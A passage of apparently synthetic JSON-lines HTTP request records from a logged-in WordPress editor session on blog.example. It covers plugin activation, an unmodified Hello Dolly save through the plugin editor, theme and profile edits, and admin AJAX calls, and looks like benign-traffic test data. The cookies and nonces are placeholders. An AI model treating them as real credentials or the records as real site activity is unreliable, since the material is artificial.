"GET", "target": "/wp-admin/options-general.php?page=akismet-key-config&view=start", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203339"], "body": ""} +{"method": "GET", "target": "/wp-admin/plugins.php?action=activate&plugin=hello.php&plugin_status=all&paged=1&s&_wpnonce=5f6bf67faf", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203339"], "body": ""} +{"method": "GET", "target": "/wp-admin/plugin-editor.php?plugin=hello.php&file=hello.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203340"], "body": ""} +{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 54", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/plugin-editor.php?plugin=hello.php&file=hello.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203342"], "body": "pointer=plugin_editor_notice&action=dismiss-wp-pointer"} +{"method": "GET", "target": "/wp-admin/plugin-editor.php?plugin=hello.php&file=hello.php&wp_scrape_key=8e954aa3fcf28d6a7f8071208fa1b507&wp_scrape_nonce=743587269", "headers": ["Host: blog.example", "User-Agent: WordPress/7.1.4; http://blog.example", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP Cookie check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203342", "Connection: close"], "body": ""} +{"method": "GET", "target": "/?wp_scrape_key=8e954aa3fcf28d6a7f8071208fa1b507&wp_scrape_nonce=743587269", "headers": ["Host: blog.example", "User-Agent: WordPress/7.1.4; http://blog.example", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP Cookie check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203342", "Connection: close"], "body": ""} +{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 3611", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/plugin-editor.php?plugin=hello.php&file=hello.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203342"], "body": "nonce=ce99c3187f&_wp_http_referer=%2Fwp-admin%2Fplugin-editor.php%3Fplugin%3Dhello.php%26file%3Dhello.php&newcontent=%3C%3Fphp%0A%2F**%0A+*+%40package+Hello_Dolly%0A+*+%40version+1.7.2%0A+*%2F%0A%2F*%0APlugin+Name%3A+Hello+Dolly%0APlugin+URI%3A+http%3A%2F%2Fwordpress.org%2Fplugins%2Fhello-dolly%2F%0ADescription%3A+This+is+not+just+a+plugin%2C+it+symbolizes+the+hope+and+enthusiasm+of+an+entire+generation+summed+up+in+two+words+sung+most+famously+by+Louis+Armstrong%3A+Hello%2C+Dolly.+When+activated+you+will+randomly+see+a+lyric+from+%3Ccite%3EHello%2C+Dolly%3C%2Fcite%3E+in+the+upper+right+of+your+admin+screen+on+every+page.%0AAuthor%3A+Example+Author%0AVersion%3A+1.7.2%0AAuthor+URI%3A+http%3A%2F%2Fexample.com%2F%0AText+Domain%3A+hello-dolly%0A*%2F%0A%0A%2F%2F+Don't+load+directly.%0Aif+(+!+defined(+'ABSPATH'+)+)+%7B%0A%09exit%3B%0A%7D%0A%0Afunction+hello_dolly_get_lyric()+%7B%0A%09%2F**+These+are+the+lyrics+to+Hello+Dolly+*%2F%0A%09%24lyrics+%3D+%22Hello%2C+Dolly%0AWell%2C+hello%2C+Dolly%0AIt's+so+nice+to+have+you+back+where+you+belong%0AYou're+lookin'+swell%2C+Dolly%0AI+can+tell%2C+Dolly%0AYou're+still+glowin'%2C+you're+still+crowin'%0AYou're+still+goin'+strong%0AI+feel+the+room+swayin'%0AWhile+the+band's+playin'%0AOne+of+our+old+favorite+songs+from+way+back+when%0ASo%2C+take+her+wrap%2C+fellas%0ADolly%2C+never+go+away+again%0AHello%2C+Dolly%0AWell%2C+hello%2C+Dolly%0AIt's+so+nice+to+have+you+back+where+you+belong%0AYou're+lookin'+swell%2C+Dolly%0AI+can+tell%2C+Dolly%0AYou're+still+glowin'%2C+you're+still+crowin'%0AYou're+still+goin'+strong%0AI+feel+the+room+swayin'%0AWhile+the+band's+playin'%0AOne+of+our+old+favorite+songs+from+way+back+when%0ASo%2C+golly%2C+gee%2C+fellas%0AHave+a+little+faith+in+me%2C+fellas%0ADolly%2C+never+go+away%0APromise%2C+you'll+never+go+away%0ADolly'll+never+go+away+again%22%3B%0A%0A%09%2F%2F+Here+we+split+it+into+lines.%0A%09%24lyrics+%3D+explode(+%22%5Cn%22%2C+%24lyrics+)%3B%0A%0A%09%2F%2F+And+then+randomly+choose+a+line.%0A%09return+wptexturize(+%24lyrics%5B+mt_rand(+0%2C+count(+%24lyrics+)+-+1+)+%5D+)%3B%0A%7D%0A%0A%2F%2F+This+just+echoes+the+chosen+line%2C+we'll+position+it+later.%0Afunction+hello_dolly()+%7B%0A%09%24chosen+%3D+hello_dolly_get_lyric()%3B%0A%09%24lang+++%3D+''%3B%0A%09if+(+'en_'+!%3D%3D+substr(+get_user_locale()%2C+0%2C+3+)+)+%7B%0A%09%09%24lang+%3D+'+lang%3D%22en%22'%3B%0A%09%7D%0A%0A%09printf(%0A%09%09'%3Cp+id%3D%22dolly%22%3E%3Cspan+class%3D%22screen-reader-text%22%3E%25s+%3C%2Fspan%3E%3Cspan+dir%3D%22ltr%22%25s%3E%25s%3C%2Fspan%3E%3C%2Fp%3E'%2C%0A%09%09__(+'Quote+from+Hello+Dolly+song%2C+by+Jerry+Herman%3A'+)%2C%0A%09%09%24lang%2C%0A%09%09%24chosen%0A%09)%3B%0A%7D%0A%0A%2F%2F+Now+we+set+that+function+up+to+execute+when+the+admin_notices+action+is+called.%0Aadd_action(+'admin_notices'%2C+'hello_dolly'+)%3B%0A%0A%2F%2F+We+need+some+CSS+to+position+the+paragraph.%0Afunction+dolly_css()+%7B%0A%09echo+%22%0A%09%3Cstyle+type%3D'text%2Fcss'%3E%0A%09%23dolly+%7B%0A%09%09float%3A+right%3B%0A%09%09padding%3A+5px+10px%3B%0A%09%09margin%3A+0%3B%0A%09%09font-size%3A+12px%3B%0A%09%09line-height%3A+1.6666%3B%0A%09%7D%0A%09.rtl+%23dolly+%7B%0A%09%09float%3A+left%3B%0A%09%7D%0A%09.block-editor-page+%23dolly+%7B%0A%09%09display%3A+none%3B%0A%09%7D%0A%09%40media+screen+and+(max-width%3A+782px)+%7B%0A%09%09%23dolly%2C%0A%09%09.rtl+%23dolly+%7B%0A%09%09%09float%3A+none%3B%0A%09%09%09padding-left%3A+0%3B%0A%09%09%09padding-right%3A+0%3B%0A%09%09%7D%0A%09%7D%0A%09%3C%2Fstyle%3E%0A%09%22%3B%0A%7D%0A%0Aadd_action(+'admin_head'%2C+'dolly_css'+)%3B%0A&action=edit-theme-plugin-file&file=hello.php&plugin=hello.php&docs-list="} +{"method": "GET", "target": "/wp-admin/theme-editor.php?file=style.css&theme=twentytwentyfive", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203342"], "body": ""} +{"method": "GET", "target": "/wp-admin/themes.php?theme=twentytwentyfour", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203349"], "body": ""} +{"method": "GET", "target": "/wp-admin/customize.php?return=%2Fwp-admin%2Fthemes.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203349"], "body": ""} +{"method": "GET", "target": "/?customize_changeset_uuid=3a1c1c1e-e2b2-47ca-a042-c99fe3ad52dd&customize_theme=twentytwentyfive&customize_messenger_channel=preview-0", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/customize.php?return=%2Fwp-admin%2Fthemes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203350"], "body": ""} +{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 218", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203356"], "body": "data%5Bwp-check-locked-posts%5D%5B%5D=post-13&data%5Bwp-check-locked-posts%5D%5B%5D=post-11&data%5Bwp-check-locked-posts%5D%5B%5D=post-1&interval=10&_nonce=f06ef15ba2&action=heartbeat&screen_id=edit-post&has_focus=true"} +{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 82", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With: XMLHttpRequest", "Accept: */*", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203356"], "body": "interval=60&_nonce=f06ef15ba2&action=heartbeat&screen_id=edit-post&has_focus=false"} +{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 94", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With: XMLHttpRequest", "Accept: */*", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203356"], "body": "action=closed-postboxes&closed=dashboard_primary&hidden=&closedpostboxesnonce=0&page=dashboard"} +{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 41", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With: XMLHttpRequest", "Accept: */*", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203356"], "body": "action=ajax-tag-search&tax=post_tag&q=bob"} +{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 142", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With: XMLHttpRequest", "Accept: */*", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203356"], "body": "action=query-attachments&post_id=0&query%5Borderby%5D=date&query%5Border%5D=DESC&query%5Bposts_per_page%5D=80&query%5Bpaged%5D=1&_ajax_nonce=0"} +{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 33", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With: XMLHttpRequest", "Accept: */*", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203356"], "body": "action=wp-compression-test&test=1"} +{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 54", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With: XMLHttpRequest", "Accept: */*", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203356"], "body": "action=wp-link-ajax&search=hello&_ajax_linking_nonce=0"} +{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 40", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With: XMLHttpRequest", "Accept: */*", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203356"], "body": "action=oembed-cache&post=1&_ajax_nonce=0"} +{"method": "POST", "target": "/wp-cron.php?doing_wp_cron=1794203360.3913509845733642578125", "headers": ["Host: blog.example", "User-Agent: WordPress/7.1.4; http://blog.example", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Connection: close", "Content-Length: 0", "Content-Type: application/x-www-form-urlencoded"], "body": ""} +{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 377", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203356"], "body": "post_title=Bob's+quick+title&post_name=bobs-first-post-2&mm=11&jj=09&aa=2026&hh=05&mn=48&ss=08&post_author=1&post_password=&post_category%5B%5D=0&post_category%5B%5D=1&tax_input%5Bpost_tag%5D=&comment_status=open&ping_status=open&_status=publish&_inline_edit=80b31520db&post_view=list&screen=edit-post&action=inline-save&post_type=post&post_ID=13&edit_date=true&post_status=all"} +{"method": "POST", "target": "/wp-admin/profile.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 467", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/profile.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203362"], "body": "_wpnonce=931bec229d&_wp_http_referer=%2Fwp-admin%2Fprofile.php&from=profile&checkuser_id=1&color-nonce=1c207de10d&admin_color=modern&admin_bar_front=1&locale=site-default&user_login=editor1&first_name=Bob&last_name=&nickname=editor1&display_name=editor1&email=editor1%40example.com&url=http%3A%2F%2Fblog.example&description=I+write+about+%2Fetc%2F+and+%3Cem%3Ecats%3C%2Fem%3E.&pass1=&pass2=&new_application_password_name=&action=update&user_id=1&submit=Update+Profile"} +{"method": "GET", "target": "/wp-admin/profile.php?updated=1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/profile.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203362"], "body": ""} +{"method": "POST", "target": "/wp-admin/user-new.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 293", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; 